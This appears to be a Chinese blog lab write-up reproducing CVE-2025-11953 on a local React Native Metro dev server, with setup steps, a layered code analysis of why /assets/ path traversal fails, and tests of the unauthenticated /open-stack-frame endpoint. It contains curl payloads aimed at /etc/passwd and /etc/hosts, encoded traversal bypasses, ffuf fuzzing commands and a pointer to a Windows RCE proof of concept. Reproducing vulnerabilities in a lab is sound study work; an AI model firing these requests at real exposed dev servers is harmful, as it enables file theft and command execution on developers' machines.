mtreoCVE-2025-11953学习(目录遍历与远程命令执行)

环境搭建

一、安装react-native@0.81.0

复制代码
# 使用特定版本创建项目(示例)
npx react-native@0.81.0 init MyVulnerableApp
cd MyVulnerableApp
#启动时不要加 --host 127.0.0.1 参数,因为默认监听 0.0.0.0 正是漏洞的触发条件之一
npx react-native start

通过homebrew安装

复制代码
#第一步安装Homebrew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

#第二步将Homesbrew加入PATH
#Intel Mac(x86)
echo 'eval "$(/usr/local/bin/brew shellenv)"' >> ~/.zshrc
eval "$(/usr/local/bin/brew shellenv)"

#Apple Silicon Mac(M1/M2/M3)
echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zshrc
eval "$(/opt/homebrew/bin/brew shellenv)"

#验证是否安装成功
brew --version


#第三步:安装 Node.js
brew install node
#安装完成后验证
node --version   # 应显示 v20.x 或 v22.x
npx --version    # 应显示 10.x 或 11.x

#第四步:回到漏洞环境搭建,创建 React Native 项目
npx react-native@0.81.0 init MyVulnerableApp

踩坑:

🚨️ The `init` command is deprecated. - Switch to npx @react-native-community/cli init for the identical behavior. - Refer to the documentation for information about alternative tools: https://reactnative.dev/docs/getting-started Exiting... npm notice npm notice New major version of npm available! 11.19.0 -> 12.0.2 npm notice Changelog: https://github.com/npm/cli/releases/tag/v12.0.2 npm notice To update run: npm install -g npm@12.0.2 npm notice
原因:React Native官方已经废弃了旧式的 react-native init 命令react-native@0.81.0 版本太旧,其CLI已经不再支持直接通过 npx react-native@版本 init 这种方式创建项目了
解决:使用官方推荐的新命令

复制代码
npx @react-native-community/cli@latest init MyVulnerableApp --version 0.81.0

安装成功后,可以使用

复制代码
#启动 React Native 项目开发服务器
npx @react-native-community/cli start

#测试基本服务是否正常
curl http://127.0.0.1:8081/index.bundle

二、拓展组件(可选择安装)

1、关于 CocoaPods 的选择

复制代码
npx @react-native-community/cli@latest init MyVulnerableApp --version 0.81.0
Need to install the following packages:
@react-native-community/cli@20.2.0
Ok to proceed? (y) y
                                                          
               ######                ######               
             ###     ####        ####     ###             
            ##          ###    ###          ##            
            ##             ####             ##            
            ##             ####             ##            
            ##           ##    ##           ##            
            ##         ###      ###         ##            
             ##  ########################  ##             
          ######    ###            ###    ######          
      ###     ##    ##              ##    ##     ###      
   ###         ## ###      ####      ### ##         ###   
  ##           ####      ########      ####           ##  
 ##             ###     ##########     ###             ## 
  ##           ####      ########      ####           ##  
   ###         ## ###      ####      ### ##         ###   
      ###     ##    ##              ##    ##     ###      
          ######    ###            ###    ######          
             ##  ########################  ##             
            ##         ###      ###         ##            
            ##           ##    ##           ##            
            ##             ####             ##            
            ##             ####             ##            
            ##          ###    ###          ##            
             ###     ####        ####     ###             
               ######                ######               
                                                          

              Welcome to React Native 0.81.0!                
                 Learn once, write anywhere               

✔ Downloading template
✔ Copying template
✔ Processing template
✔ Installing dependencies
? Do you want to install CocoaPods now? Needed for running iOS project › (y/N)

选项 A:选择 y(推荐,如果你有 iOS 模拟器)

选项 B:选择 N(如果不打算用 iOS)

🔐 安全学习建议

对于你的漏洞复现目的,建议选择 y 安装 CocoaPods。这样你有完整的 iOS 和 Android 两个平台的环境,可以更全面地测试 Metro Dev Server 的漏洞(因为漏洞影响的是 Metro 服务器本身,与具体平台关系不大,但有两个环境更方便调试)。

🧹 如果遇到 "CocoaPods not installed" 错误

如果选择 y 后报错说没有 CocoaPods,可以手动安装:

bash

复制代码
# 安装 CocoaPods(需要 Ruby,macOS 自带)
sudo gem install cocoapods

# 进入 iOS 目录手动安装
cd ios
pod install
cd ..

2、iOS模拟器的mac方案

iOS模拟器就是一款可以安装在Mac上的软件 ,它会在你的电脑屏幕上"变出"一部虚拟的iPhone或iPad,让你无需真机就能测试iOS应用。

如何安装在你的Mac上?

它不能独立下载,是作为 Xcode(苹果官方的开发工具套件)的一部分提供的。你不需要精通Xcode,只需要用它来安装模拟器就行。

安装步骤:

  1. 安装Xcode :在Mac自带的 App Store 里搜索"Xcode"并点击"获取"或"安装"。这个过程可能需要较长时间(Xcode安装包很大)。

  2. 安装模拟器 :打开Xcode(第一次打开可能需要一些初始化操作),然后通过快捷键 Command + , 打开"偏好设置(Preferences)"。

  3. 切换到 "组件(Components)" 标签页。

  4. 在列表中找到 "iOS 模拟器(iOS Simulator)",点击右侧的"获取(Get)"按钮进行下载安装。

如何启动并使用 iOS Simulator
方法一:通过 Xcode 启动(最直接)
  1. 打开 Xcode:在"启动台"或"应用程序"文件夹中找到并打开 Xcode。

  2. 打开 Simulator :在 Xcode 的顶部菜单栏中,点击 Xcode → Open Developer Tool → Simulator

  3. 等待启动:这时会弹出一个新的窗口,里面显示一部虚拟的 iPhone(默认可能是最新型号),这就是 iOS Simulator 了。

方法二:通过终端命令启动(更极客)

如果你习惯用终端,可以这样快速启动一个特定型号的模拟器:

复制代码
# 列出所有可用的模拟器设备列表
xcrun simctl list devices

# 找到你想要的设备 UDID 或名称后,启动它(例如启动 iPhone 15 Pro)
xcrun simctl boot "iPhone 15 Pro"
open -a Simulator
模拟器的基本操作与界面

启动后,你会看到一个像真机一样的 iOS 界面,可以用鼠标和键盘操作:

  • 点击与滑动:直接用鼠标点击屏幕上的应用图标,或用鼠标拖拽来滑动屏幕。

  • 旋转 :在菜单栏选择 Hardware → Rotate Left/Right 来模拟设备旋转。

  • 摇一摇 :在菜单栏选择 Hardware → Shake Gesture,用于测试应用对摇动的响应。

  • 模拟位置 :在菜单栏选择 Features → Location,可以模拟设备在某个城市或自定义经纬度。


如何在模拟器里运行你的 React Native 项目

对于你的漏洞学习项目 MyVulnerableApp,关联模拟器的步骤非常流畅:

  1. 确保 Metro 服务器已启动 :在项目根目录下运行 npx react-native start

  2. 在新终端窗口运行 iOS 命令:保持 Metro 运行,打开一个新的终端窗口,进入项目目录,执行:

    复制代码
    npx react-native run-ios
  3. 观察自动流程

    • 命令会自动构建(Build)你的 iOS 项目。

    • 它会自动查找并启动一个可用的 iOS 模拟器(如果没有正在运行的,它会自动打开一个默认的)。

    • 最后,它会将你的 App 自动安装并启动在这个模拟器中。

    • 此时,修改 App.js 源码保存,App 会自动刷新(热加载),体验非常顺畅。


漏洞测试建议

在安全测试中,识别到资产(比如你启动的Metro服务)后,要查看它开放了哪些路由,通常会用到网络扫描、Web代理和手动探测相结合的思路。这有点像对一栋建筑进行"踩点",搞清楚它有几扇门、分别通向哪里。

针对你本地的Metro学习环境,我帮你梳理了三个可以立刻上手的方法。

🛠️ 具体测试工具与方法

1. Web代理工具 (Burp Suite / OWASP ZAP):观察与重放

这是最核心的测试工具。你可以把它想象成一个"中间人",能看清所有进出的"数据包"。

  • 配置代理 :将你的测试终端(或模拟器)的HTTP代理设置为Burp Suite或ZAP的监听地址(通常是 127.0.0.1:8080)。

  • 访问根路径 :在浏览器中访问 http://<你的Mac IP>:8081/。此时,Burp Suite的"HTTP History"面板会捕获请求。

  • 观察请求 :你会看到向Metro发起的请求列表。重点查看请求方法(GET/POST)路径(Path) ,例如 /index.bundle/assets//open-url 等。这正是你发现潜在攻击入口的第一步。

  • 重放与篡改 :选中一个请求,发送到Repeater模块。你就可以修改路径、添加 ../ 尝试目录遍历,或修改POST参数来测试命令注入。

2. 模糊测试工具 (wfuzz / ffuf):自动化探测

当你想快速测试一批可能的路由或参数时,模糊测试工具能大幅提高效率。

  • 原理 :工具会读取一个字典(比如 SecLists 里的 common.txt),自动替换URL中的占位符,并发起大量请求。

  • 示例命令 (以 ffuf 为例):

    复制代码
    ffuf -u http://<你的Mac IP>:8081/FUZZ -w /path/to/wordlist.txt -fc 404
    • -u:目标URL,FUZZ 是占位符。

    • -w:指定本地字典文件。

    • -fc 404:过滤掉返回404的响应,只显示存在的路由。这能帮你快速发现未被公开文档记录的"隐藏"端点。

3. 开发者工具与手动探测:理解服务行为
  • 浏览器开发者工具 (F12) :在浏览器访问Metro服务时,打开"网络(Network)"标签页。它能直观地显示加载了哪些资源,以及部分请求的响应头。特别留意响应头里是否有 X-Metro-Files-Changed-Count 这类特征信息,这有助于你确认服务的指纹。

  • curl 命令 :对于快速测试,curl 非常直接。例如:

    复制代码
    # 探测一个可能存在的管理路由
    curl -v http://<你的Mac IP>:8081/status

💡 测试思路建议

  1. 从已知到未知 :首先根据你查到的资料(比如我上一轮提到的 /open-url/assets/),手动测试这些已知路由是否存在漏洞。

  2. 配合代理进行主动探测:使用ffuzz等工具跑一遍字典的同时,让Burp Suite捕获整个过程。这样不仅能发现新路由,还能看到服务器对不同路径的详细响应。

  3. 关注开发者模式 :在模拟器上运行你的 MyVulnerableApp 时,开启Metro的调试模式。有时开发者工具本身会暴露出额外的调试接口,这也是一个测试点。


漏洞验证

一、目录遍历

访问index.bundle,确保服务有正常启动后,再开始验证漏洞

http://127.0.0.1:8081/index.bundle

curl http://172.20.10.2:8081/assets/../../../../etc/passwd 访问显示Cannot GET

尝试不同的路径深度
复制代码
# 尝试 5 层
curl http://172.20.10.2:8081/assets/../../../../../etc/passwd

# 尝试 6 层
curl http://172.20.10.2:8081/assets/../../../../../../etc/passwd

# 尝试 7 层(有些实现需要更多)
curl http://172.20.10.2:8081/assets/../../../../../../../etc/passwd
尝试不同的目标文件(自身的配置文件可读取)
复制代码
# 尝试读取 Metro 自身的配置文件
curl http://172.20.10.2:8081/assets/../../../../metro.config.js

# 尝试读取项目中的 package.json
curl http://172.20.10.2:8081/assets/../../../../package.json
尝试 URL 编码绕过
复制代码
# 对 ../ 进行 URL 编码
curl http://172.20.10.2:8081/assets/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

# 使用双写绕过(有些 WAF 会拦截单次 ../)
curl http://172.20.10.2:8081/assets/....//....//....//....//etc/passwd
更系统的测试方法

如果你希望更高效地探索,可以使用模糊测试工具,比如 ffuf,自动尝试不同的路径深度和变体:

复制代码
# 使用 ffuf 测试不同的路径深度
ffuf -u http://172.20.10.2:8081/assets/FUZZ/etc/passwd -w depths.txt -fc 404

其中 depths.txt 包含:

复制代码
../../../
../../../../
../../../../../
../../../../../../
测试结论:

这个仓库(RN 0.81.0 / Metro 0.83.7 / @react-native-community/cli-server-api@20.0.0)中,目录遍历(越出项目根目录的任意文件读取)在所有文件读取面上均不可利用 。Metro 0.83.7 的安全模型是"只服务被 watch 监视到的文件 ",而非"校验路径没有越界";任何携带 .. 的路径都会被 7 层防护中的某一层拦下(已全部实测)。真正被 CVE-2025-11953 利用的攻击面不是文件读取,而是 /open-stack-frame 的命令注入(另见结论)。逐层校验情况如下:

代码位置 校验逻辑 实测结果
L-1 静态服务 cli-server-api serveStatic → send/index.js:63,533 UP_PATH_REGEXP 检测 .. 逃逸(403) 逃逸被拒;403 被 serve-static 静默转成 Cannot GET 404
L0 URL 规范化 Server.js:505 new URL() WHATWG 点段规范化(含 %2e 编码) 普通 .. 被压扁 → 路由不匹配 → Cannot GET
L1 路由 Server.js:549 必须 /assets/ 前缀 ---
L2 资产名解析 Assets.js:214 + parsePlatformFilePath.js:11 文件名必须 name.ext passwd → 404
L3 扩展名白名单 Assets.js:219 扩展名必须在 assetExts(约 27 种) openssl.cnf → 404 Asset not found
L4 根目录包含检查 Assets.js:224-231 pathBelongsToRoots 死代码 :被 fileExistsInFileMap == null短路,永不执行
L5 文件映射 Assets.js:235-249DependencyGraph.js:290TreeFS.exists 目标文件必须在 watch 目录(projectRoot/watchFolders)内 /tmp/*.png → 404;项目内文件 → 200
五个关键结论(均有实测支撑)
  1. 普通 .. 活不到 getAsset :先被客户端 curl 压扁(需 --path-as-is),再被服务端 L0 new URL()规范化(Server.js:505)------所以你的 Cannot GET /etc/passwd 是死在路由层,不是死在资产处理层。

  2. 编码斜杠 %2f 可以绕过 L0Server.js:412-415 先 split 后 decode,在规范化之后重建 ..),但绕过 L0 后仍被 L3(扩展名白名单)或 L5(文件映射)拦下------实测 ..%2f 型 payload 返回 Asset not found

  3. L4 pathBelongsToRoots 是死代码Server.js:449 永远传入 fileExistsInFileMap 函数 → Assets.js:224== null 短路恒为 false → 包含检查永不执行。实测项目内文件经含 .. 的路径仍返回 200,反证这一点。

  4. package.json 能读到 ≠ 穿越 :是 serveStatic(项目根) 静态服务(cli-server-api/index.js:65-68)的正常行为,curl http://127.0.0.1:8081/package.json(无任何 ..)结果完全一样;该层自身的逃逸防护(send 403)有效。

  5. 版本对比 :老 lab(Metro 0.51.1)用 url.parse()(不规范化 ..)+ getAsset 无文件映射参数 + 包含检查被注释 → 10 层 .. 直接读出 /etc/ssl/openssl.cnf;0.83.7 则被 L0/L3/L5 逐层封死。

    F: /assets/..%2f..%2f..%2f..%2f..%2f..%2fetc/ssl/openssl.cnf → Asset not found [404] ← 绕过 L0,死在 L3
    G: /assets/..%2fMyVulnerableApp/android/.../ic_launcher.png → HTTP 200 ✅ ← 绕过 L0,全闸通过
    H: /assets/..%2f..%2f..%2f..%2f..%2f..%2ftmp/metro-demo/secret.png → Asset not found [404] ← 绕过 L0,死在 L5

二、CVE-2025-11953 命令注入

测试结论(结论先行)

机制上可利用(已证实),但平台差异关键:Windows 上可 RCE,本机 macOS 的 live 端点只到"任意文件打开"。由于我复现环境是mac,windows没有测试.

ive 服务器实测:远程触发 + 零校验(全部 200)

测试 请求 结果 说明
A1 POST /open-stack-frame body {} 200 端点无认证可达,仅校验 body 非空
A2 body {"file":"/etc/hosts"} 200 绝对路径零校验(无包含检查)
A3 body {"file":"../../../../../../etc/hosts"} 200 目录遍历路径零校验
A4 body {"file":"file:///etc/hosts"} 200 file:// 协议也被接受
A5 GET /assets/..%2f..%2f..%2f..%2f..%2f..%2fetc/hosts 404 对照:Metro /assets/ 对同路径拒绝

结论 :攻击者可远程(8081 无认证)向 /open-stack-frame 提交任意 file 值,服务器端 launchEditor(frame.file, ...) 被触发------没有任何路径校验 ,与 /assets/ 的多层闸门形成鲜明对比。

复制代码
# curl(自带)------ 你已经在用了
curl --path-as-is "http://127.0.0.1:8081/assets/..%2f..%2f..%2f..%2f..%2f..%2fetc/ssl/openssl.cnf"
curl -X POST -H "Content-Type: application/json" \
     -d '{"file":"/etc/hosts","lineNumber":1}' \
     http://127.0.0.1:8081/open-stack-frame

# lsof / netstat ------ 验证服务到底绑在哪个网卡(0.0.0.0 还是 127.0.0.1)
lsof -i :8081        # 看 LISTEN 那行的地址是 *:8081 还是 127.0.0.1:8081

# 从另一台设备(手机/另一台电脑)打内网 IP,证明 0.0.0.0 暴露 + 无认证
curl -X POST -H "Content-Type: application/json" \
     -d '{"file":"/etc/hosts","lineNumber":1}' \
     "http://<你Mac的内网IP>:8081/open-stack-frame"

windows 复现可参考https://github.com/boroeurnprach/CVE-2025-11953-PoC

相关推荐
小淮AI1 小时前
外籍子女在华读书,中文“听得懂”和“学得深”之间差几步?
学习
2301_802651081 小时前
Linux系统学习:进程间的通信
学习
zzzzzz3102 小时前
react-bits 为什么会吸引前端开发者:别把动效当装饰,先把它当成页面能力
前端·react.js·动效
风月说与山鬼4 小时前
二、React入口文件(main.jsx)
前端·react.js
艾莉丝努力练剑4 小时前
【AI接入大模型SDK】ChatSDK示例验证
人工智能·学习·面试·大模型·sdk
葡萄成熟时 !10 小时前
JAVA 常用API学习笔记
java·笔记·学习
别动我齐刘海11 小时前
机器人运动控制学习2——基础进阶
c++·人工智能·神经网络·学习·目标检测·机器学习·机器人
05664613 小时前
agent学习——流式响应与文本切分
网络·python·学习
for_ever_love__14 小时前
python基础语法学习: 面向对象的三大特性
开发语言·python·学习